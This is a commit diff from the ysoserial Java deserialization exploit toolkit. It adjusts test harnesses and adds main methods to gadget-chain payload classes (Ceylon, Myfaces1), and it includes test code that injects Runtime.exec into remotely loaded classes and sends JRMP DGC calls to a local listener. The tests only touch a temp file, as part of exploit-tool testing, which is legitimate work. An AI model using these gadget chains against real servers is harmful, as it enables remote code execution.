test fixes

This commit is contained in:
Chris Frohoff
2022-05-19 23:36:20 -07:00
parent 780bba473d
commit 16cf78837e
13 changed files with 138 additions and 116 deletions
+6 -1
View File
@@ -5,6 +5,7 @@ import com.redhat.ceylon.compiler.java.language.SerializationProxy;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@Authors({ Authors.KULLRICH }) @Authors({ Authors.KULLRICH })
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) @Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
@@ -13,11 +14,15 @@ public class Ceylon implements ObjectPayload<Object>
// //
// Probably the simplest deser gadget ever ;-) // Probably the simplest deser gadget ever ;-)
// //
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command); final Object templates = Gadgets.createTemplatesImpl(command);
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
} }
public static void main(String[] args) throws Exception {
PayloadRunner.run(Ceylon.class, args);
}
} }
@@ -5,6 +5,7 @@ package ysoserial.payloads;
import javax.el.ELContext; import javax.el.ELContext;
import javax.el.ExpressionFactory; import javax.el.ExpressionFactory;
import javax.el.ValueExpression; import javax.el.ValueExpression;
import javax.faces.context.FacesContext;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import javax.servlet.ServletRequest; import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse; import javax.servlet.ServletResponse;
@@ -55,6 +56,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27", "org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
"com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer
// deps for mocking the FacesContext // deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
@@ -64,6 +66,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
"com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer
// deps for mocking the FacesContext // deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
@@ -76,6 +79,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
@@ -89,6 +93,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces1.class, args); FacesContext.getCurrentInstance();
Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
} }
} }
@@ -10,7 +10,7 @@ import java.util.UUID;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
public class CommandExecTest implements CustomTest { public class CommandExecTest implements CustomTest {
private final File testFile = protected final File testFile =
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
@Override @Override
@@ -1,13 +1,11 @@
package ysoserial.test.payloads; package ysoserial.test.payloads;
import org.junit.Assert; import org.junit.Assert;
import sun.rmi.transport.ObjectTable; import sun.rmi.transport.ObjectTable;
import ysoserial.Strings;
import ysoserial.exploit.JRMPClient; import ysoserial.exploit.JRMPClient;
import ysoserial.payloads.JRMPListener; import ysoserial.payloads.JRMPListener;
import ysoserial.test.CustomTest; import ysoserial.test.CustomTest;
import ysoserial.test.util.Files; import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import ysoserial.test.util.ObjectInputFilters; import ysoserial.test.util.ObjectInputFilters;
import java.io.File; import java.io.File;
@@ -16,14 +14,16 @@ import java.util.Random;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); private final File testFile = Files.getTestFile();
private final int port = 16000 + new Random().nextInt(16000); private final int port = 16000 + new Random().nextInt(16000);
@Override @Override
public void run(Callable<Object> payload) throws Exception { public void run(Callable<Object> payload) throws Exception {
System.out.println(testFile);
Assert.assertFalse("test file shouldn't exist", testFile.exists()); Assert.assertFalse("test file shouldn't exist", testFile.exists());
// ObjectInputFilters.disableDcgFilter(); ObjectInputFilters.disableDcgFilter();
// open listener // open listener
Remote res = (Remote) payload.call(); Remote res = (Remote) payload.call();
@@ -32,9 +32,10 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
// send payload // send payload
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString()))); JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
Files.waitForFile(testFile, 5000); Files.waitForFile(testFile, 1000);
Assert.assertTrue("test file should exist", testFile.exists()); Assert.assertTrue("test file should exist", testFile.exists());
System.out.println("passed");
} finally { } finally {
// close listener // close listener
// TODO move to postDeserRelease // TODO move to postDeserRelease
@@ -52,17 +53,8 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
} }
public Class[] getAddlClasses() { public Class[] getAddlClasses() {
return new Class[] { TestHarnessTest.ExecMockSerializable.class }; // not applicable because of unconfigurable DGC native classloader
} return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
public static Class<?> loadFirstClass(String ... classNames) {
for (String className : classNames) {
try {
Class<?> clazz = Class.forName(className);
return clazz;
} catch (Exception e) {}
}
return null;
} }
} }
@@ -17,8 +17,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
private int jrmpPort; private int jrmpPort;
public JRMPReverseConnectSMTest (String command) { public JRMPReverseConnectSMTest () {
super(command);
// some payloads cannot specify the port // some payloads cannot specify the port
jrmpPort = 1099; jrmpPort = 1099;
} }
@@ -7,6 +7,7 @@ import javax.management.BadAttributeValueExpException;
import org.junit.Assert; import org.junit.Assert;
import ysoserial.payloads.Atomikos;
import ysoserial.test.CustomTest; import ysoserial.test.CustomTest;
import ysoserial.exploit.JRMPListener; import ysoserial.exploit.JRMPListener;
@@ -54,4 +55,8 @@ public class JRMPReverseConnectTest implements CustomTest {
return "rmi://localhost:" + port + "/ExportObject"; return "rmi://localhost:" + port + "/ExportObject";
} }
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(Atomikos.class);
}
} }
@@ -7,6 +7,7 @@ import java.net.URL;
import java.util.HashMap; import java.util.HashMap;
import java.util.Iterator; import java.util.Iterator;
import java.util.Map; import java.util.Map;
import java.util.concurrent.Callable;
import javax.el.BeanELResolver; import javax.el.BeanELResolver;
import javax.el.ELContext; import javax.el.ELContext;
@@ -16,6 +17,7 @@ import javax.faces.context.FacesContext;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import javax.servlet.ServletRequest; import javax.servlet.ServletRequest;
import com.nqzero.permit.Permit;
import org.apache.myfaces.el.CompositeELResolver; import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext; import org.apache.myfaces.el.unified.FacesELContext;
import org.mockito.Matchers; import org.mockito.Matchers;
@@ -23,9 +25,11 @@ import org.mockito.Mockito;
import org.mockito.invocation.InvocationOnMock; import org.mockito.invocation.InvocationOnMock;
import org.mockito.stubbing.Answer; import org.mockito.stubbing.Answer;
import ysoserial.payloads.Myfaces2;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.test.CustomDeserializer; import ysoserial.test.CustomDeserializer;
import ysoserial.Deserializer; import ysoserial.Deserializer;
import ysoserial.test.WrappedTest;
/** /**
@@ -34,31 +38,49 @@ import ysoserial.Deserializer;
*/ */
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
// FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
public MyfacesTest ( String command ) {
super(command);
}
public Class<?> getCustomDeserializer () { public Class<?> getCustomDeserializer () {
return MyfacesDeserializer.class; return MyfacesDeserializer.class;
} }
/** /**
* need to use a custom deserializer so that the faces context gets set in the isolated class * need to use a custom deserializer so that the faces context gets set in the isolated class
* *
* @author mbechler * @author mbechler
* *
*/ */
public static final class MyfacesDeserializer extends Deserializer {
public static final class MyfacesDeserializer extends Deserializer {
public static Class<?>[] getExtraDependencies () { public static Class<?>[] getExtraDependencies () {
return new Class[] { return new Class[] {
MockRequestContext.class, MockELResolver.class MockRequestContext.class, MockELResolver.class, Reflections.class, Permit.class
}; };
} }
public MyfacesDeserializer ( byte[] bytes ) {
super(bytes);
}
@Override
public Object call () throws Exception {
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
Reflections.setAccessible(setFC);
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
FacesContext ctx = createMockFacesContext();
try {
setFC.invoke(null, ctx);
return super.call();
}
finally {
setFC.invoke(null, (FacesContext) null);
Thread.currentThread().setContextClassLoader(oldTCCL);
}
}
private static class MockRequestContext implements Answer<Object> { private static class MockRequestContext implements Answer<Object> {
private Map<String, Object> attributes = new HashMap<String, Object>(); private Map<String, Object> attributes = new HashMap<String, Object>();
@@ -135,29 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
} }
public MyfacesDeserializer ( byte[] bytes ) {
super(bytes);
}
@Override
public Object call () throws Exception {
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
Reflections.setAccessible(setFC);
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
FacesContext ctx = createMockFacesContext();
try {
setFC.invoke(null, ctx);
return super.call();
}
finally {
setFC.invoke(null, (FacesContext) null);
Thread.currentThread().setContextClassLoader(oldTCCL);
}
}
private static FacesContext createMockFacesContext () throws MalformedURLException { private static FacesContext createMockFacesContext () throws MalformedURLException {
FacesContext ctx = Mockito.mock(FacesContext.class); FacesContext ctx = Mockito.mock(FacesContext.class);
CompositeELResolver cer = new CompositeELResolver(); CompositeELResolver cer = new CompositeELResolver();
@@ -176,6 +175,13 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
Mockito.when(ctx.getELContext()).thenReturn(elc); Mockito.when(ctx.getELContext()).thenReturn(elc);
return ctx; return ctx;
} }
} }
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(Myfaces2.class);
}
} }
@@ -20,6 +20,7 @@ import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters; import org.junit.runners.Parameterized.Parameters;
import ysoserial.*; import ysoserial.*;
import ysoserial.payloads.Atomikos;
import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.DynamicDependencies;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.test.CustomTest; import ysoserial.test.CustomTest;
@@ -64,6 +65,10 @@ public class PayloadsTest {
this.payloadClass = payloadClass; this.payloadClass = payloadClass;
} }
public static void testPayload(Class<? extends ObjectPayload<?>> payloadClass) throws Exception {
testPayload(payloadClass, new Class[0]);
}
@Test @Test
public void testPayload () throws Exception { public void testPayload () throws Exception {
@@ -133,20 +138,19 @@ public class PayloadsTest {
callable = ( (WrappedTest) testHarness ).createCallable(callable); callable = ( (WrappedTest) testHarness ).createCallable(callable);
} }
if (testHarness instanceof CustomTest) {
// if marked as flaky try up to 5 times // if marked as flaky try up to 5 times
Exception ex = new Exception(); Exception ex = new Exception();
for (int i = 0; i < tries; i++) { for (int i = 0; i < tries; i++) {
try { try {
((CustomTest) testHarness).run(callable); ((CustomTest) testHarness).run(callable);
ex = null; ex = null;
break; break;
} catch (Exception e) { } catch (Exception e) {
ex = e; ex = e;
}
} }
if (ex != null) throw ex;
} }
if (ex != null) throw ex;
} }
private static boolean isForceTests() { private static boolean isForceTests() {
@@ -12,6 +12,8 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
import javassist.ClassClassPath; import javassist.ClassClassPath;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import ysoserial.payloads.C3P0;
import ysoserial.test.CustomTest;
import ysoserial.test.WrappedTest; import ysoserial.test.WrappedTest;
@@ -19,17 +21,10 @@ import ysoserial.test.WrappedTest;
* @author mbechler * @author mbechler
* *
*/ */
public class RemoteClassLoadingTest implements WrappedTest { public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTest, CustomTest {
int port; private int port = new Random().nextInt(65535-1024)+1024;
private String command; private String className = "Exploit-" + System.currentTimeMillis();
private String className;
public RemoteClassLoadingTest ( String command ) {
this.command = command;
this.port = new Random().nextInt(65535-1024)+1024;
this.className = "Exploit-" + System.currentTimeMillis();
}
public String getPayloadArgs () { public String getPayloadArgs () {
@@ -54,7 +49,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
pool.insertClassPath(new ClassClassPath(Exploit.class)); pool.insertClassPath(new ClassClassPath(Exploit.class));
final CtClass clazz = pool.get(Exploit.class.getName()); final CtClass clazz = pool.get(Exploit.class.getName());
clazz.setName(this.className); clazz.setName(this.className);
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");");
return clazz.toBytecode(); return clazz.toBytecode();
} }
catch ( Exception e ) { catch ( Exception e ) {
@@ -122,6 +117,10 @@ public class RemoteClassLoadingTest implements WrappedTest {
} }
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(C3P0.class);
}
public static class Exploit implements Serializable { public static class Exploit implements Serializable {
@@ -1,12 +1,12 @@
package ysoserial.test.payloads; package ysoserial.test.payloads;
import java.io.IOException; import java.io.*;
import java.io.ObjectInputStream; import java.util.Arrays;
import java.io.Serializable;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.junit.Assert; import org.junit.Assert;
import org.junit.Test; import org.junit.Test;
import ysoserial.Strings;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
public class TestHarnessTest { public class TestHarnessTest {
@@ -53,10 +53,20 @@ public class TestHarnessTest {
@SuppressWarnings("serial") @SuppressWarnings("serial")
public static class ExecMockSerializable implements Serializable { public static class ExecMockSerializable implements Serializable {
// static {
// try {
// printLoad(ExecMockSerializable.class);
// printStackTrace();
// } catch (Throwable e) {
// e.printStackTrace();
// }
// }
private final String cmd; private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; } public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
// printStackTrace();
// printLoad(ExecMockSerializable.class);
ois.defaultReadObject(); ois.defaultReadObject();
try { try {
Runtime.getRuntime().exec(cmd); Runtime.getRuntime().exec(cmd);
@@ -65,4 +75,20 @@ public class TestHarnessTest {
} }
} }
} }
public static void printStackTrace() {
StringWriter sw = new StringWriter();
new Throwable().printStackTrace(new PrintWriter(sw));
String st = sw.toString();
String[] lines = st.split("\n");
lines[0] = "Stack Trace:";
for (int i = 0; i < lines.length; i++) {
lines[i] = "[" + Thread.currentThread().getName() + "] " + lines[i];
}
System.out.println(Strings.join(Arrays.asList(lines), "\n", null, null));
}
public static void printLoad(Class<?> clazz) {
System.out.println("[" + Thread.currentThread().getName() + "] " + "Loaded " + clazz + "@" + System.identityHashCode(clazz) + " from " + clazz.getClassLoader() + " with parent " + clazz.getClassLoader().getParent());
}
} }
@@ -1,34 +0,0 @@
package ysoserial.test.util;
import java.util.concurrent.Callable;
public class Callables {
public static interface BeforeAfterCallback {
public void before();
public void after();
}
public static class Wrapper<T> implements Callable<T> {
private final Callable<T> callable;
private final BeforeAfterCallback callback;
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
this.callable = callable;
this.callback = callback;
}
@Override
public T call() throws Exception {
try {
callback.before();
return callable.call();
} finally {
callback.after();
}
}
}
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
return new Wrapper<T>(callable, callback);
}
}
@@ -1,5 +1,7 @@
package ysoserial.test.util; package ysoserial.test.util;
import ysoserial.Strings;
import java.io.File; import java.io.File;
import java.io.PrintWriter; import java.io.PrintWriter;
@@ -20,4 +22,8 @@ public class Files {
e.printStackTrace(); e.printStackTrace();
} }
} }
public static File getTestFile() {
return new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
}
} }
@@ -2,7 +2,6 @@ package ysoserial.test.util;
import ysoserial.payloads.JRMPListener; import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.test.payloads.JRMPListenerTest;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
@@ -11,7 +10,7 @@ import java.lang.reflect.Proxy;
public class ObjectInputFilters { public class ObjectInputFilters {
public static Object getAllowFilter() throws Exception { public static Object getAllowFilter() throws Exception {
final Class<?> filterClass = JRMPListenerTest.loadFirstClass( final Class<?> filterClass = loadFirstClass(
"java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter"); "java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter");
if (filterClass == null) { if (filterClass == null) {
return null; return null;
@@ -44,4 +43,14 @@ public class ObjectInputFilters {
} }
} }
} }
public static Class<?> loadFirstClass(String ... classNames) {
for (String className : classNames) {
try {
Class<?> clazz = Class.forName(className);
return clazz;
} catch (Exception e) {}
}
return null;
}
} }